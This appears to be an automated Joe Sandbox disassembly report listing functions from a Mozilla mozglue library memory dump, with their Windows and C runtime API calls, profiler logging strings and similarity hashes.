Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 30771c311de2435f694428107d0fc9728a41236b5866f5c22f1f1118c6adfa58
Instruction ID: 23efa35df57394ce7e3efecae11370e50899ad20a8624610795bfd94595215cb
Opcode Fuzzy Hash: 30771c311de2435f694428107d0fc9728a41236b5866f5c22f1f1118c6adfa58
Instruction Fuzzy Hash: A041B3B2D001559FCB04DF68DC80AAEBBB5FF54324F264629E825E7790E731A90487E1

Function 6CBDEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CC55104), ref: 6CBDEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBDEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBDEFEC
free.MOZGLUE(?), ref: 6CBDF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBDF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CBDF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBDF065
moz_xmalloc.MOZGLUE ref: 6CBDF072

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2a92349c0c2da37efb46d31f0dc1c81c56d5cf5b868139d1ff001d4ae77297a7
Instruction ID: b561bc4add08b691111a2b040675dbf51c462946fc261be9a65fea0ccf37eecb
Opcode Fuzzy Hash: 2a92349c0c2da37efb46d31f0dc1c81c56d5cf5b868139d1ff001d4ae77297a7
Instruction Fuzzy Hash: 9441E7F1A002559FDB08CF68D8809AE7769FF88318B254628E815DB794FB31E915C7E1

Function 6CC4B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CC4B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC4B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC4B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC4B5F4
__Init_thread_footer.LIBCMT ref: 6CC4B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CC4B61F
std::_Facet_Register.LIBCPMT ref: 6CC4B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC4B655

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: c9c5e379e5c8b66cae43eb29532012911d450e225ae610431a0bcf23aff4d134
Instruction ID: d40b45d1f9efff96f691bb20d7b67cbab0c78839f88a7e69ba513fc7839466bc
Opcode Fuzzy Hash: c9c5e379e5c8b66cae43eb29532012911d450e225ae610431a0bcf23aff4d134
Instruction Fuzzy Hash: BA31A771B00504CFCF04DF69C8689AEB7B5FF89324F544559D906A7780EB71A826CF91

Function 6CBE9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CC37ABE), ref: 6CBE985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CC37ABE), ref: 6CBE98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CBE9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CBE9918
free.MOZGLUE(?), ref: 6CBE9975

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: b7ad47eef935e242d6ea7d41e245e65ae1e126afd108bc05e0fe56ce8232993b
Instruction ID: 3971a7c03477dbb902809d189f95fb4e0ab74ebb3277fc1cab57edff1ae004da
Opcode Fuzzy Hash: b7ad47eef935e242d6ea7d41e245e65ae1e126afd108bc05e0fe56ce8232993b
Instruction Fuzzy Hash: E3719DB4A007458FC725CF28C480996BBF1FF4E3A47244A6DD85A8BBA0D771F849CB51

Function 6CBEB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC2CC83,?,?,?,?,?,?,?,?,?,6CC2BCAE,?,?,6CC1DC2C), ref: 6CBEB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CC2CC83,?,?,?,?,?,?,?,?,?,6CC2BCAE,?,?,6CC1DC2C), ref: 6CBEB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CC2CC83,?,?,?,?,?,?,?,?,?,6CC2BCAE), ref: 6CBEB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CC2CC83,?,?,?,?,?,?,?,?,?,6CC2BCAE,?,?,6CC1DC2C), ref: 6CBEB896

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 1b7df480feb60531e6f8137c2da46921bb078548f816f72bef61da540dec9e12
Instruction ID: c56c44fd5dd1600c206895c15a0027b6abb9fcd9e7a8e0c647546636704bcc04
Opcode Fuzzy Hash: 1b7df480feb60531e6f8137c2da46921bb078548f816f72bef61da540dec9e12
Instruction Fuzzy Hash: 525187357002408FCB24CF19C594A2ABBF5FF8C759B69859DE98A97341C730E802CB85

Function 6CC21D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC21D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CC21BE3,?,?,6CC21D96,00000000), ref: 6CC21D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CC21BE3,?,?,6CC21D96,00000000), ref: 6CC21D4C
GetCurrentThreadId.KERNEL32 ref: 6CC21DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC21DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC21DDA

Part of subcall function 6CC21EF0: GetCurrentThreadId.KERNEL32 ref: 6CC21F03
Part of subcall function 6CC21EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CC21DF2,00000000,00000000), ref: 6CC21F0C
Part of subcall function 6CC21EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC21F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CC21DF4

Part of subcall function 6CBECA10: malloc.MOZGLUE(?), ref: 6CBECA26

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 24dd1865cc9a2eaddc0faedd3e87d9ab6012e1a000af4db722ad11b3d77a9aeb
Instruction ID: 554e42e4dcd504c686aceeb768d7ec254e62e9e8ab9f2eb5c78d2ab487b7dd29
Opcode Fuzzy Hash: 24dd1865cc9a2eaddc0faedd3e87d9ab6012e1a000af4db722ad11b3d77a9aeb
Instruction Fuzzy Hash: 634188B52007009FCB10DF29C498A56BBF9FF89314F50446EE99A87B41DB75F864CB91

Function 6CBE38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CC5E220,?,?,?,?,6CBE3899,?), ref: 6CBE38B2
ReleaseSRWLockExclusive.KERNEL32(6CC5E220,?,?,?,6CBE3899,?), ref: 6CBE38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CBE3899,?), ref: 6CBE38F1
RtlFreeHeap.NTDLL ref: 6CBE3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CBE3899,?), ref: 6CBE392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CBE3899,?), ref: 6CBE3943
RtlFreeHeap.NTDLL ref: 6CBE396E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 2c41ce99fe1cefa6084bbb4df1415cfa642a96d6941e36bee90420eee99670fb
Instruction ID: 7e6bfbb939d937192d6af8a3d1c94e84a52386c551a27356aeb840180274f857
Opcode Fuzzy Hash: 2c41ce99fe1cefa6084bbb4df1415cfa642a96d6941e36bee90420eee99670fb
Instruction Fuzzy Hash: FE215232600690DFD720DF15C880B96B7B9EF48B68F118029E85B97B20C731E849CB91

Function 6CC184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC1850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC1851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC1855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC1856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC185AC

Part of subcall function 6CC17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC1767F
Part of subcall function 6CC17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC17693
Part of subcall function 6CC17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC185B2

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 2da714a74f9b1bcc22f897cea26d7184ec359b3bc64b43175eed48a836a3457d
Instruction ID: e3c6657f016f37e605c0418ee59ebe0853e18aef3aef62e9756a03467c33b72d
Opcode Fuzzy Hash: 2da714a74f9b1bcc22f897cea26d7184ec359b3bc64b43175eed48a836a3457d
Instruction Fuzzy Hash: 9C218D742086018FEB14DF2AC888E6AB7B5EF8430CF25482DE55B93B41EB35E959CB51

Function 6CBE1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBE1699
VerSetConditionMask.NTDLL ref: 6CBE16CB
VerSetConditionMask.NTDLL ref: 6CBE16D7
VerSetConditionMask.NTDLL ref: 6CBE16DE
VerSetConditionMask.NTDLL ref: 6CBE16E5
VerSetConditionMask.NTDLL ref: 6CBE16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBE16F9

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: aec5635812f7982319474d983b10b2cbbe7294edc650d5a56c937a1155a5ce24
Instruction ID: 221563b2c0a13a70bc00d8c4df5e9e6211696e05b34c50b5be4a1b1b9a3a2bad
Opcode Fuzzy Hash: aec5635812f7982319474d983b10b2cbbe7294edc650d5a56c937a1155a5ce24
Instruction Fuzzy Hash: E221D2B07402086FEB106B648C85FBBB37CEFCAB44F444528F605AB281D7789D648AA1

Function 6CC1F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC1F598), ref: 6CC1F621

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

GetCurrentThreadId.KERNEL32 ref: 6CC1F637
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,00000000,?,6CC1F598), ref: 6CC1F645
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,00000000,?,6CC1F598), ref: 6CC1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC1F62A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 18c9f005d18d1aed89dd4df21fc3fe35df2e42070cab5c06368cfbfd68320eae
Instruction ID: 97c2677c183dd5b24a83102dead61ba4d8a48a0c88d64765486fe4865c22868f
Opcode Fuzzy Hash: 18c9f005d18d1aed89dd4df21fc3fe35df2e42070cab5c06368cfbfd68320eae
Instruction Fuzzy Hash: 20110635308204AFCB04AF1AD8589E5BB79FF8636CB940015EA0593F01EB72E831CBB0

Function 6CBE1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CBE1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CBE1FFD
__Init_thread_footer.LIBCMT ref: 6CBE2011
FreeLibrary.KERNEL32 ref: 6CBE2059

Strings

CoCreateInstance, xrefs: 6CBE1FF7
combase.dll, xrefs: 6CBE1FD9

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: bc3400b55e9e323a87f244fc4c75c454f433b8c565eeac8a681829ee709b8291
Instruction ID: 4c8de4af12638f2b03b9058c87a8a128ba19e8c8bdb42cf2879af87039c01ce6
Opcode Fuzzy Hash: bc3400b55e9e323a87f244fc4c75c454f433b8c565eeac8a681829ee709b8291
Instruction Fuzzy Hash: FB115E75301245AFDF28DF15CC5CE5A3B79FB8A795F804029F905A2681E7719830DF62

Function 6CBE0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CC0D9F0,00000000), ref: 6CBE0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CBE0F3C
__Init_thread_footer.LIBCMT ref: 6CBE0F50
FreeLibrary.KERNEL32(?,6CC0D9F0,00000000), ref: 6CBE0F86

Strings

CoInitializeEx, xrefs: 6CBE0F36
combase.dll, xrefs: 6CBE0F18

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 736baa7983fe71dbb489e53605c34adfd6de83a58b478e172da84df390cfb3d9
Instruction ID: 67ecc4fdfbdcad1908abcdae18f4ef00080b086a7c41ebd86bcfa5bec5e39511
Opcode Fuzzy Hash: 736baa7983fe71dbb489e53605c34adfd6de83a58b478e172da84df390cfb3d9
Instruction Fuzzy Hash: 6911C2757052809FDF08CF54D908E5A3B74FB8A765FC44229E905B3744EB70A431CA96

Function 6CC1F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F561

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

GetCurrentThreadId.KERNEL32 ref: 6CC1F577
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F585
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC1F56A
[I %d/%d] profiler_resume, xrefs: 6CC1F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CC1F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CC1F499

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 23d9805178b4c94be87f64a008aba7b6ec77fb783645726b32f863d8a286c772
Instruction ID: c184319e8e5ff4c2f0b3a23b8f67ff8b7debc06bde2330b5db7a4709f491d022
Opcode Fuzzy Hash: 23d9805178b4c94be87f64a008aba7b6ec77fb783645726b32f863d8a286c772
Instruction Fuzzy Hash: 9FF0E9753002009FDF00AF66D85896A7FBDEB8629DF840011FA05E3F01EB7188208775

Function 6CC1F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC1F598), ref: 6CC1F621

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

GetCurrentThreadId.KERNEL32 ref: 6CC1F637
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,00000000,?,6CC1F598), ref: 6CC1F645
